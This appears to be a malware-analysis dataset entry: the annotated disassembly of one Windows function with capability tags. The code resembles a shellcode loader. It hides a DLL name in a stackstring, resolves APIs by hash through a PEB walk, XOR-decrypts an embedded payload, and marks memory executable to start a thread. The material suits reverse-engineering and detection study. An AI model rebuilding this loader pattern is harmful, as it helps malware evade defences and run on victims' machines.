Function at 0x140001c40
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get process filename

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0x90
xor edi, edi
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [rdi + 8]
mov r8d, 0xff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001c7a
mov dword [rax], 0xca
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x140001cf1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
jmp 0x140001d13
lea rcx, [rbp + 0x17]
mov dword [rbp + 0x17], 0x70797243
mov dword [rbp + 0x1b], 0x2e707374
mov word [rbp + 0x1f], 0x6c64
mov byte [rbp + 0x21], 0x6c
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbp + 0x6f], rdi
mov qword [rbp + 0x77], 0x114
mov dword [rbp + 0x67], edi
mov qword [rbp + 0x7f], rdi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rbx, qword [rax]
mov rax, qword [rbx + 0x50]
test rax, rax
je 0x140001d75
cmp word [rbx + 0x48], di
je 0x140001d75
mov rdx, qword [rbx + 0x20]
mov rcx, rax
call fcn.140001740
mov rbx, qword [rbx]
mov rax, qword [rbx + 0x50]
test rax, rax
jne 0x140001d57
mov rdx, qword [0x140004180]
mov ecx, dword [0x140004170]
call fcn.140001fe0
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0x77]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x6f]
lea rcx, [r8 - 1]
call fcn.140002002
test eax, eax
jne 0x140001f3c
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x140001f3c
mov r8d, 0x114
lea rdx, section..data
call fcn.140001f50
movzx edx, byte [0x140004118]
xorps xmm0, xmm0
mov ecx, edi
movups xmmword [rbp + 0x37], xmm0
cmp edx, 0x68
je 0x140001dfb
nop word [rax + rax]
inc ecx
mov eax, edx
xor eax, ecx
cmp eax, 0x68
jne 0x140001df0
mov edx, edi
lea r9, [0x140004118]
mov r8, rdi
nop word [rax + rax]
movzx eax, cl
xor al, byte [r8 + r9]
lea r8, [r8 + 1]
sub al, dl
inc edx
mov byte [rbp + r8 + 0x36], al
cmp edx, 0x10
jl 0x140001e10
lea rax, [rbp + 0x37]
mov dword [rbp + 0x17], 0x10
mov qword [rbp + 0x1f], rax
mov ecx, 0x63501409
mov rax, qword [rbp + 0x6f]
mov qword [rbp + 0x2f], rax
mov dword [rbp + 0x1b], 0x10
mov dword [rbp + 0x27], 0x114
mov dword [rbp + 0x2b], 0x114
call fcn.140001510
mov rcx, rax
mov edx, 0x9874186f
call fcn.1400015e0
lea rdx, [rbp + 0x17]
lea rcx, [rbp + 0x27]
call rax
test eax, eax
je 0x140001e87
xor eax, eax
add rsp, 0x90
pop rdi
pop rbx
pop rbp
ret
mov rdx, qword [0x140004198]
mov ecx, dword [0x140004188]
call fcn.140001fe0
lea rax, [rbp + 0x67]
mov r9d, 0x20
lea r8, [rbp + 0x77]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x6f]
mov rcx, 0xffffffffffffffff
call fcn.140002002
test eax, eax
jne 0x140001f3c
mov rdx, qword [0x1400041b0]
mov ecx, dword [0x1400041a0]
call fcn.140001fe0
mov rax, qword [rbp + 0x6f]
lea rcx, [rbp + 0x7f]
mov qword [rsp + 0x50], rdi
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], rdi
xor r8d, r8d
mov qword [rsp + 0x40], rdi
mov edx, 0x1fffff
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.140002002
test eax, eax
jne 0x140001f3c
mov rdx, qword [0x1400041c8]
mov ecx, dword [0x1400041b8]
call fcn.140001fe0
mov rcx, qword [rbp + 0x7f]
xor r8d, r8d
xor edx, edx
call fcn.140002002
test eax, eax
je 0x140001e7a
mov eax, 0xffffffff
add rsp, 0x90
pop rdi
pop rbx
pop rbp
ret